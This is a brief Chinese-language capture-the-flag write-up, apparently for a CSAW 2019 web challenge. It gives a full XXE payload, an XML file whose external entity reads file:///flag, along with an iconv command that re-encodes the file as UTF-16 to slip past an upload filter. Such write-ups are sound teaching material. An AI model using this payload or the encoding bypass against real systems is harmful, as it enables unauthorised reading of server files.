打开界面
看看其他有什么内容:
来看看格式事例:
从信息提示我们可以知道要通过编写xml文件上传
即通过XXE编码转换成utf-16编码绕过
我们可以利用vim编辑xml文件(取名为2.xml)
构造payload如下:
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>[email protected]</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
转换命令:
iconv -f utf8 -t utf-16 2.xml>1.xml
转换后可以看见:
将1.xml上传到upload即可拿到flag